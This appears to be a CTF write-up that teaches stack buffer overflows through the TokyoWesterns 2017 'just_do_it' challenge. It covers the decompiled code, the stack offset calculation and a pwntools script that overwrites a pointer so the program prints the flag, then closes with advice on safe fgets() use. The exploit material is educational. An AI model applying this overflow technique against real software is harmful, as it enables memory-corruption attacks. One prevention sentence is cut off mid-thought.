Introduction
If we have an insecure function like gets() or fgets() with incorrect read sizes, we can perform an
overflow on the given write bounds for a buffer or variable and perform undefined behavior.
gets() itself doesn’t check for bounds, so we can write past the buffer indefinitely. fgets() may be
abused if the parameter regarding the amount of bytes to read is incorrectly defined. Reference the following
parameters:
char *fgets(char* str, int n, FILE* stream);If n, the number of bytes/chars to read does not match the length of the buffer str that the data is
being read into, then an overflow can be done by inputting more characters.
These characters will write past the bounds of the buffer and overwrite the data adjacent to the buffer. If variables lie above the buffer in memory, then we can overwrite those variables.
Example
Following the “nightmare” practice challenges, let’s do the challenge from TokyoWesterns 2017 CTF titled “just_do_it”.
We’re given a binary with the following decomposition in Ghidra:
undefined4 main(void){ char *pcVar1; int iVar2; char user_input [16]; FILE *local_18; char *target; undefined1 *local_c;
local_c = &stack0x00000004; setvbuf(stdin,(char *)0x0,2,0); setvbuf(stdout,(char *)0x0,2,0); setvbuf(stderr,(char *)0x0,2,0); target = failed_message; local_18 = fopen("flag.txt","r"); if (local_18 == (FILE *)0x0) { perror("file open error.\n"); /* WARNING: Subroutine does not return */ exit(0); } pcVar1 = fgets(flag,0x30,local_18); if (pcVar1 == (char *)0x0) { perror("file read error.\n"); /* WARNING: Subroutine does not return */ exit(0); } puts("Welcome my secret service. Do you know the password?"); puts("Input the password."); pcVar1 = fgets(user_input,0x20,stdin); if (pcVar1 == (char *)0x0) { perror("input error.\n"); /* WARNING: Subroutine does not return */ exit(0); } iVar2 = strcmp(user_input,PASSWORD); if (iVar2 == 0) { target = success_message; } puts(target); return 0;}Particularly of note is the fgets() call for the password. Notice that the size parameter is hardcoded
to 0x20, or equivalently 32 bytes. However, the buffer itself is only 16 bytes. This means we have
32 - 16 = 16 bytes of extra space that we can override the other local variables with.
Let’s take a look at the other variables. What could we override to let us see the flag? We can already
see that the flag is read into a buffer and stored in memory at flag from this line:
pcVar1 = fgets(flag,0x30,local_18);There is also a puts() call at the end to a variable that I renamed to target. Since this variable
lies above our buffer in memory, we can override it. With this, all we need to do is override the target
to our flag buffer to hijack the puts() call to print the flag!
puts(target);To calculate the offset needed, we can look at the layout in memory of each variable. This is the following Ghidra result:
*************************************************************** FUNCTION *************************************************************** undefined main()undefined <UNASSIGNED> <RETURN>undefined4 Stack[0x0]:4 local_res0undefined4 Stack[-0xc]:4 local_cundefined4 Stack[-0x14]:4 targetundefined4 Stack[-0x18]:4 local_18undefined1[16] Stack[-0x28] user_inputWith user_input starting at -0x20 and ending at -0x20 - 0x8 = -0x28 relative to EIP, we want to override
to target. Target begins at -0x10 and ends at -0x10 - 0x4 = -0x14. We need to write up to this point.
Thus, 0x28 - 0x14 = 0x14, so we need to write 20 bytes to get to the target, plus another four bytes of the flag buffer location.
Here is the final solve script:
from pwn import *
p = process("./just_do_it")p.recvuntil("password.\n")
payload = b"A" * 0x14payload += p32(0x804A080)
p.sendline(payload)p.interactive()Prevention
There are obviously runtime protections in place to prevent buffer overflows or limit their impact, but in order
to prevent the overflow in the first place, fgets() should be used safely.
Tip (Safe Use of fgets)
Generally, the size field of fgets() should only be used with sizeof(buf) in order to clearly define the
read size. This way, there is less of a possibility that
Furthermore, use of gets() should be avoided at all costs. In fact, the gets() prototype itself has been removed
from <stdio.h> since C11, so it can no longer be used.
Warning (Deprecation of gets)
The gets() function has been deprecated for many years (since C99, removed C11) due to its non-bounds checking behavior.
This can lead to buffer overflows and is extremely dangerous in use.